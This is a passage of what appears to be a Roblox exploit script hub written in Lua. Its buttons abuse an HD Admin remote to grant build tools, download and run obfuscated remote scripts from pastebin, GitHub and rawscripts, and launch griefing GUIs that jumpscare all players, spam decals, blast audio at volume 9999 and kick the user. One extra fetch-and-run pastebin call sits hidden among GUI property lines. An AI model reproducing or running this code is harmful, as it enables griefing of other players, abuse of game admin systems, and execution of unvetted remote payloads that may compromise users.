RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools me") end) -- Scripts: local function SCXOHP_fake_script() -- Frame.Dragify local script = Instance.new('LocalScript', Frame) function dragify(Main) dragToggle = nil dragSpeed = 0.95 -- You can edit this. dragInput = nil dragStart = nil dragPos = nil function updateInput(input) Delta = input.Position - dragStart Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y) game:GetService("TweenService"):Create(Main, TweenInfo.new(.25), {Position = Position}):Play() end Main.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = Main.Position input.Changed:Connect(function() if (input.UserInputState == Enum.UserInputState.End) then dragToggle = false end end) end end) Main.InputChanged:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then dragInput = input end end) game:GetService("UserInputService").InputChanged:Connect(function(input) if (input == dragInput and dragToggle) then updateInput(input) end end) end dragify(script.Parent) end coroutine.wrap(SCXOHP_fake_script)() end, }) local Button = MainTab:CreateButton({ Name = "c00lexecutor v1", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-C00lkidd-executor-54363"))() end, }) local Button = MainTab:CreateButton({ Name = "c00lexecutor 2025", Callback = function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-C00lkidd-executor-2025-53088"))() end, }) local Button = MainTab:CreateButton({ Name = "insane script ( not fe tho )", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/wolvwe/wolvexdor-rebornv2/refs/heads/main/Obfuscated2"))() end, }) local Button = MainTab:CreateButton({ Name = "yes, other c00lgui", Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local TextLabel = Instance.new("TextLabel") local TextButton = Instance.new("TextButton") local TextButton_2 = Instance.new("TextButton") local TextButton_3 = Instance.new("TextButton") local TextButton_4 = Instance.new("TextButton") local TextButton_5 = Instance.new("TextButton") local TextButton_6 = Instance.new("TextButton") local TextButton_7 = Instance.new("TextButton") local TextButton_8 = Instance.new("TextButton") local ImageButton = Instance.new("ImageButton") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ScreenGui.ResetOnSpawn = false Frame.Parent = ScreenGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(170, 0, 0) Frame.BorderSizePixel = 6 Frame.Position = UDim2.new(0.0200509224, 0, 0.0293350704, 0) Frame.Size = UDim2.new(0, 361, 0, 391) TextLabel.Parent = Frame TextLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextLabel.BorderColor3 = Color3.fromRGB(170, 0, 0) TextLabel.BorderSizePixel = 6 TextLabel.Position = UDim2.new(-0.0019811911, 0, 0.917844832, 0) TextLabel.Size = UDim2.new(0, 361, 0, 32) TextLabel.Font = Enum.Font.SourceSans TextLabel.Text = "c00lkidd gamplay by 4x2x9x4x0" TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel.TextScaled = true TextLabel.TextSize = 14.000 TextLabel.TextWrapped = true TextButton.Parent = Frame TextButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton.BorderSizePixel = 6 TextButton.Position = UDim2.new(0.0278564617, 0, 0.0261018556, 0) TextButton.Size = UDim2.new(0, 145, 0, 38) TextButton.Font = Enum.Font.SourceSans TextButton.Text = "skybox" TextButton.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton.TextScaled = true TextButton.TextSize = 14.000 TextButton.TextWrapped = true TextButton_2.Parent = Frame TextButton_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_2.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_2.BorderSizePixel = 6 TextButton_2.Position = UDim2.new(0.0278564617, 0, 0.176731125, 0) TextButton_2.Size = UDim2.new(0, 145, 0, 38) TextButton_2.Font = Enum.Font.SourceSans TextButton_2.Text = "depals spam" TextButton_2.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_2.TextScaled = true TextButton_2.TextSize = 14.000 TextButton_2.TextWrapped = true TextButton_3.Parent = Frame TextButton_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_3.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_3.BorderSizePixel = 6 TextButton_3.Position = UDim2.new(0.0278564617, 0, 0.326881856, 0) TextButton_3.Size = UDim2.new(0, 145, 0, 38) TextButton_3.Font = Enum.Font.SourceSans TextButton_3.Text = "disco" TextButton_3.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_3.TextScaled = true TextButton_3.TextSize = 14.000 TextButton_3.TextWrapped = true TextButton_4.Parent = Frame TextButton_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_4.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_4.BorderSizePixel = 6 TextButton_4.Position = UDim2.new(0.0278564617, 0, 0.474953622, 0) TextButton_4.Size = UDim2.new(0, 145, 0, 38) TextButton_4.Font = Enum.Font.SourceSans TextButton_4.Text = "jumpscare" TextButton_4.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_4.TextScaled = true TextButton_4.TextSize = 14.000 TextButton_4.TextWrapped = true TextButton_5.Parent = Frame TextButton_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_5.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_5.BorderSizePixel = 6 TextButton_5.Position = UDim2.new(0.0278564617, 0, 0.62398237, 0) TextButton_5.Size = UDim2.new(0, 145, 0, 38) TextButton_5.Font = Enum.Font.SourceSans TextButton_5.Text = "message" TextButton_5.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_5.TextScaled = true TextButton_5.TextSize = 14.000 TextButton_5.TextWrapped = true TextButton_6.Parent = Frame TextButton_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_6.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_6.BorderSizePixel = 6 TextButton_6.Position = UDim2.new(0.0278564617, 0, 0.764381528, 0) TextButton_6.Size = UDim2.new(0, 145, 0, 38) TextButton_6.Font = Enum.Font.SourceSans TextButton_6.Text = "jumpstyle" TextButton_6.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_6.TextScaled = true TextButton_6.TextSize = 14.000 TextButton_6.TextWrapped = true TextButton_7.Parent = Frame TextButton_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_7.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_7.BorderSizePixel = 6 TextButton_7.Position = UDim2.new(0.515391171, 0, 0.174279958, 0) TextButton_7.Size = UDim2.new(0, 145, 0, 38) TextButton_7.Font = Enum.Font.SourceSans TextButton_7.Text = "won't stop us" TextButton_7.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_7.TextScaled = true TextButton_7.TextSize = 14.000 TextButton_7.TextWrapped = true TextButton_8.Parent = Frame TextButton_8.BackgroundColor3 = Color3.fromRGB(0, 0, 0) TextButton_8.BorderColor3 = Color3.fromRGB(170, 0, 0) TextButton_8.BorderSizePixel = 6 TextButton_8.Position = UDim2.new(0.515391171, 0, 0.0256764442, 0) TextButton_8.Size = UDim2.new(0, 145, 0, 38) TextButton_8.Font = Enum.Font.SourceSans TextButton_8.Text = "particle" TextButton_8.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton_8.TextScaled = true TextButton_8.TextSize = 14.000 TextButton_8.TextWrapped = true ImageButton.Parent = Frame ImageButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0) ImageButton.BorderColor3 = Color3.fromRGB(170, 0, 0) ImageButton.BorderSizePixel = 6 ImageButton.Position = UDim2.new(0.51800555, 0, 0.32480818, 0) ImageButton.Size = UDim2.new(0, 156, 0, 216) ImageButton.Image = "rbxassetid://158118263" -- Scripts: local function YGIJPK_fake_script() -- TextButton.Script local script = Instance.new('Script', TextButton) script.Parent.MouseButton1Down:Connect(function() local ID = "http://www.roblox.com/asset/?id=158118263" local Sky = Instance.new("Sky") Sky.Parent = game.Lighting Sky.Name = "NewSky" Sky.MoonTextureId = ID Sky.SkyboxBk = ID Sky.SkyboxDn = ID Sky.SkyboxFt = ID Sky.SkyboxLf = ID Sky.SkyboxRt = ID Sky.SkyboxUp = ID end) end coroutine.wrap(YGIJPK_fake_script)() local function OXYAOR_fake_script() -- TextButton_2.Script local script = Instance.new('Script', TextButton_2) script.Parent.MouseButton1Down:Connect(function() local _Workspace = game:GetService("Workspace") local Surfaces = {"Front", "Back", "Left", "Right", "Top", "Bottom"} local ID = "http://www.roblox.com/asset/?id=158118263" for _, Part in pairs(_Workspace:GetDescendants()) do if Part:IsA("BasePart") and Part.Name ~= "Camera" and Part.Name ~= "Terrain" then for i = 1, #Surfaces do local Decal = Instance.new("Decal") Decal.Texture = ID Decal.ZIndex = 10 Decal.Name = "Decal"..Surfaces[i] Decal.Parent = Part Decal.Face = Surfaces[i] end end end end) end coroutine.wrap(OXYAOR_fake_script)() local function SJEOFN_fake_script() -- TextButton_3.Script local script = Instance.new('Script', TextButton_3) script.Parent.MouseButton1Down:connect(function() while true do game.Lighting.Ambient = Color3.new(math.random(), math.random(), math.random()) wait(.25) end end) end coroutine.wrap(SJEOFN_fake_script)() local function MRLYQO_fake_script() -- TextButton_4.Script local script = Instance.new('Script', TextButton_4) script.Parent.MouseButton1Click:Connect(function() for i,v in pairs(game.Players:GetPlayers()) do if v.Name ~= me and not v.PlayerGui:FindFirstChild("Screamer") and v:FindFirstChild("PlayerGui") then spawn(function() local newgui = Instance.new("ScreenGui",v.PlayerGui) newgui.Name = "W00N SCARE" local newimage = Instance.new("ImageLabel",newgui) newimage.Image = "http://www.roblox.com/asset/?id=158118263" newimage.Size = UDim2.new(1,1,1,1) local s = Instance.new("Sound",newgui) s.Name = "h4x3d_by_redz!" s.SoundId = "rbxassetid://6821054463" s.Volume = 2 s.Looped = true s:Play() print("Screamed "..v.Name) while wait(5.343) do newimage.Parent:Destroy() end end) end end end) end coroutine.wrap(MRLYQO_fake_script)() local function CQXDMV_fake_script() -- TextButton_5.Script local script = Instance.new('Script', TextButton_5) script.Parent.MouseButton1Down:Connect(function() wait(0)--set this to how much time between messages msg = Instance.new ("Hint") msg.Parent = game.Workspace msg.Text = "TEAM" wait(6) msg:remove() wait(3) msg = Instance.new ("Hint") msg.Parent = game.Workspace msg.Text = "c00lkidd" wait(6) msg:remove() wait(3) msg = Instance.new ("Hint") msg.Parent = game.Workspace msg.Text = "JoIn" wait(6) msg:remove() wait(3) msg = Instance.new ("Hint") msg.Parent = game.Workspace msg.Text = "TODAY!!" wait(6) msg:remove() wait(3) end) end coroutine.wrap(CQXDMV_fake_script)() local function WIEM_fake_script() -- TextButton_6.Script local script = Instance.new('Script', TextButton_6) script.Parent.MouseButton1Down:Connect(function() --Made by Servano local s = Instance.new("Sound") s.Name = "Sound" s.SoundId = "http://www.roblox.com/asset/?id=1839246711" s.Volume = 9999 s.Pitch = 1 s.Looped = true s.archivable = false s.Parent = game.Workspace wait(1) s:play() end) end coroutine.wrap(WIEM_fake_script)() local function ZRWGK_fake_script() -- TextButton_7.Script local script = Instance.new('Script', TextButton_7) script.Parent.MouseButton1Down:Connect(function() --Made by Servano local s = Instance.new("Sound") s.Name = "Sound" s.SoundId = "http://www.roblox.com/asset/?id=1847661821" s.Volume = 9999 s.Pitch = 1 s.Looped = true s.archivable = false s.Parent = game.Workspace wait(1) s:play() end) end coroutine.wrap(ZRWGK_fake_script)() local function JNVJVG_fake_script() -- TextButton_8.Script local script = Instance.new('Script', TextButton_8) script.Parent.MouseButton1Click:Connect(function() t3 = "http://www.roblox.com/asset/?id=158118263" local p = game.Players:GetChildren() local w = game.Workspace:GetChildren() for i,v in pairs(p) do local pe = Instance.new("ParticleEmitter", v.Character.Head) pe.Texture = t3 pe.VelocitySpread = 100 end for _, Object in pairs(game.Workspace:GetChildren()) do if Object.ClassName == "Part" or "Model" then local fe = Instance.new("ParticleEmitter", Object) fe.Texture = t3 end end end) end coroutine.wrap(JNVJVG_fake_script)() local function IGBQGG_fake_script() -- ImageButton.Script local script = Instance.new('Script', ImageButton) script.Parent.MouseButton1Click:Connect(function() game.Players.LocalPlayer:Kick("team c00lkidd join today!") end) end coroutine.wrap(IGBQGG_fake_script)() local function AHLNJ_fake_script() -- Frame.Script local script = Instance.new('Script', Frame) local UIS = game:GetService("UserInputService") function dragify(Frame) dragToggle = nil local dragSpeed = 0 dragInput = nil dragStart = nil local dragPos = nil function updateInput(input) local Delta = input.Position - dragStart local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y) game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.25), {Position = Position}):Play() end Frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then dragToggle = true dragStart = input.Position startPos = Frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) Frame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) game:GetService("UserInputService").InputChanged:Connect(function(input) if input == dragInput and dragToggle then updateInput(input) end end) end dragify(script.Parent) end coroutine.wrap(AHLNJ_fake_script)() end, }) local Button = MainTab:CreateButton({ Name = "4x2x9x4x0 blue gui", Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- 4x2x9x4x0 blue gui -- by 4x2x9x4x0 --moonsec v3 loadstring(game:HttpGet("https://pastebin.com/raw/XF7Qxc8K"))() end, }) local Button = MainTab:CreateButton({ Name = "rlly random gui", Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] --[[ credit 1sw0rd1 if you grab any of the functions (which includes neon/classic rain toad/improved thomas/ clone head/punish/rotations) of this script or skid the ui. dont be a dick. ]]-- local G2L = {}; -- StarterGui.F3XHUB G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["Name"] = [[F3XHUB]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; G2L["1"]["ResetOnSpawn"] = false; -- StarterGui.F3XHUB.Bar G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 0; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(100, 0, 255); G2L["2"]["Size"] = UDim2.new(0.5647348761558533, 0, 0.11222444474697113, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Position"] = UDim2.new(0.21701602637767792, 0, 0.1402805596590042, 0); G2L["2"]["Name"] = [[Bar]]; -- StarterGui.F3XHUB.Bar.Main G2L["3"] = Instance.new("Frame", G2L["2"]); G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 170, 0); G2L["3"]["Size"] = UDim2.new(1.0020790100097656, 0, 4.335403919219971, 0); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["Position"] = UDim2.new(-3.331613385171295e-08, 0, 0.9999999403953552, 0); G2L["3"]["Name"] = [[Main]]; -- StarterGui.F3XHUB.Bar.Main.BigHead G2L["4"] = Instance.new("TextButton", G2L["3"]); G2L["4"]["TextWrapped"] = true; G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["TextScaled"] = true; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["TextSize"] = 14; G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["4"]["Name"] = [[BigHead]]; G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Text"] = [[Big Head]]; G2L["4"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.03855844587087631, 0); -- StarterGui.F3XHUB.Bar.Main.BigHead.UICorner G2L["5"] = Instance.new("UICorner", G2L["4"]); G2L["5"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.BigHead.LocalScript G2L["6"] = Instance.new("LocalScript", G2L["4"]); -- StarterGui.F3XHUB.Bar.Main.BumAll G2L["7"] = Instance.new("TextButton", G2L["3"]); G2L["7"]["TextWrapped"] = true; G2L["7"]["BorderSizePixel"] = 0; G2L["7"]["TextScaled"] = true; G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["TextSize"] = 14; G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["7"]["Name"] = [[BumAll]]; G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["Text"] = [[Punish All]]; G2L["7"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.03855844587087631, 0); -- StarterGui.F3XHUB.Bar.Main.BumAll.UICorner G2L["8"] = Instance.new("UICorner", G2L["7"]); G2L["8"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.BumAll.LocalScript G2L["9"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.F3XHUB.Bar.Main.ColorAll G2L["a"] = Instance.new("TextButton", G2L["3"]); G2L["a"]["TextWrapped"] = true; G2L["a"]["BorderSizePixel"] = 0; G2L["a"]["TextScaled"] = true; G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["TextSize"] = 14; G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0); G2L["a"]["Name"] = [[ColorAll]]; G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[Color All]]; G2L["a"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.03855844587087631, 0); -- StarterGui.F3XHUB.Bar.Main.ColorAll.UICorner G2L["b"] = Instance.new("UICorner", G2L["a"]); G2L["b"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.ColorAll.LocalScript G2L["c"] = Instance.new("LocalScript", G2L["a"]); -- StarterGui.F3XHUB.Bar.Main.DecalSpam G2L["d"] = Instance.new("TextButton", G2L["3"]); G2L["d"]["TextWrapped"] = true; G2L["d"]["BorderSizePixel"] = 0; G2L["d"]["TextScaled"] = true; G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["TextSize"] = 14; G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["d"]["Name"] = [[DecalSpam]]; G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["Text"] = [[Decal Spam]]; G2L["d"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.216508150100708, 0); -- StarterGui.F3XHUB.Bar.Main.DecalSpam.UICorner G2L["e"] = Instance.new("UICorner", G2L["d"]); G2L["e"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.DecalSpam.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["d"]); -- StarterGui.F3XHUB.Bar.Main.FireAll G2L["10"] = Instance.new("TextButton", G2L["3"]); G2L["10"]["TextWrapped"] = true; G2L["10"]["BorderSizePixel"] = 0; G2L["10"]["TextScaled"] = true; G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["TextSize"] = 14; G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["10"]["Name"] = [[FireAll]]; G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["Text"] = [[Burn All]]; G2L["10"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.216508150100708, 0); -- StarterGui.F3XHUB.Bar.Main.FireAll.UICorner G2L["11"] = Instance.new("UICorner", G2L["10"]); G2L["11"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.FireAll.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["10"]); -- StarterGui.F3XHUB.Bar.Main.Rain Toad G2L["13"] = Instance.new("TextButton", G2L["3"]); G2L["13"]["TextWrapped"] = true; G2L["13"]["BorderSizePixel"] = 0; G2L["13"]["TextScaled"] = true; G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["TextSize"] = 14; G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0); G2L["13"]["Name"] = [[Rain Toad]]; G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["Text"] = [[Rain Toad]]; G2L["13"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.216508150100708, 0); -- StarterGui.F3XHUB.Bar.Main.Rain Toad.UICorner G2L["14"] = Instance.new("UICorner", G2L["13"]); G2L["14"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.Rain Toad.LocalScript G2L["15"] = Instance.new("LocalScript", G2L["13"]); -- StarterGui.F3XHUB.Bar.Main.ThomasEngine G2L["16"] = Instance.new("TextButton", G2L["3"]); G2L["16"]["TextWrapped"] = true; G2L["16"]["BorderSizePixel"] = 0; G2L["16"]["TextScaled"] = true; G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["TextSize"] = 14; G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["16"]["Name"] = [[ThomasEngine]]; G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["Text"] = [[Become Thomas]]; G2L["16"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.39000919461250305, 0); -- StarterGui.F3XHUB.Bar.Main.ThomasEngine.UICorner G2L["17"] = Instance.new("UICorner", G2L["16"]); G2L["17"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.ThomasEngine.LocalScript G2L["18"] = Instance.new("LocalScript", G2L["16"]); -- StarterGui.F3XHUB.Bar.Main.Unanchor G2L["19"] = Instance.new("TextButton", G2L["3"]); G2L["19"]["TextWrapped"] = true; G2L["19"]["BorderSizePixel"] = 0; G2L["19"]["TextScaled"] = true; G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["TextSize"] = 14; G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["19"]["Name"] = [[Unanchor]]; G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["Text"] = [[Unanchor]]; G2L["19"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.39000919461250305, 0); -- StarterGui.F3XHUB.Bar.Main.Unanchor.UICorner G2L["1a"] = Instance.new("UICorner", G2L["19"]); G2L["1a"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.Unanchor.LocalScript G2L["1b"] = Instance.new("LocalScript", G2L["19"]); -- StarterGui.F3XHUB.Bar.Main.CreateBasePlate G2L["1c"] = Instance.new("TextButton", G2L["3"]); G2L["1c"]["TextWrapped"] = true; G2L["1c"]["BorderSizePixel"] = 0; G2L["1c"]["TextScaled"] = true; G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["TextSize"] = 14; G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0); G2L["1c"]["Name"] = [[CreateBasePlate]]; G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["Text"] = [[Create Baseplate]]; G2L["1c"]["Position"] = UDim2.new(0.6710939407348633, 0, 0.39000919461250305, 0); -- StarterGui.F3XHUB.Bar.Main.CreateBasePlate.UICorner G2L["1d"] = Instance.new("UICorner", G2L["1c"]); G2L["1d"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.CreateBasePlate.LocalScript G2L["1e"] = Instance.new("LocalScript", G2L["1c"]); -- StarterGui.F3XHUB.Bar.Main.KillAll G2L["1f"] = Instance.new("TextButton", G2L["3"]); G2L["1f"]["TextWrapped"] = true; G2L["1f"]["BorderSizePixel"] = 0; G2L["1f"]["TextScaled"] = true; G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["TextSize"] = 14; G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f"]["Size"] = UDim2.new(0.2614651620388031, 0, 0.09473495930433273, 0); G2L["1f"]["Name"] = [[KillAll]]; G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["Text"] = [[Kill All]]; G2L["1f"]["Position"] = UDim2.new(0.06100853905081749, 0, 0.5768563747406006, 0); -- StarterGui.F3XHUB.Bar.Main.KillAll.UICorner G2L["20"] = Instance.new("UICorner", G2L["1f"]); G2L["20"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.KillAll.LocalScript G2L["21"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.F3XHUB.Bar.Main.PersonalityAll G2L["22"] = Instance.new("TextButton", G2L["3"]); G2L["22"]["TextWrapped"] = true; G2L["22"]["BorderSizePixel"] = 0; G2L["22"]["TextScaled"] = true; loadstring(game:HttpGet("https://pastebin.com/raw/LDFLANiA"))(); G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["TextSize"] = 14; G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["22"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["22"]["Size"] = UDim2.new(0.2614651918411255, 0, 0.09473495930433273, 0); G2L["22"]["Name"] = [[PersonalityAll]]; G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["Text"] = [[Clone Heads]]; G2L["22"]["Position"] = UDim2.new(0.36823010444641113, 0, 0.5768563747406006, 0); -- StarterGui.F3XHUB.Bar.Main.PersonalityAll.UICorner G2L["23"] = Instance.new("UICorner", G2L["22"]); G2L["23"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.F3XHUB.Bar.Main.PersonalityAll.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["22"]); -- StarterGui.F3XHUB.Bar.Main.Skybox G2L["25"] = Instance.new("TextButton", G2L["3"]); G2L["25"]["TextWrapped"] = true; G2L["25"]["BorderSizePixel"] = 0; G2L["25"]["TextScaled"] = true; G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["TextSize"] = 14; G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["25"]["Size"] = UDim2.new(0.2636440396308899, 0, 0.09473495930433273, 0); G2L["25"]["Name"] = [[Skybox]]; G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["Text"] = [[Skybox]]; G2L["25"]["Position"] = UDim2.new(0.6710939407348633, 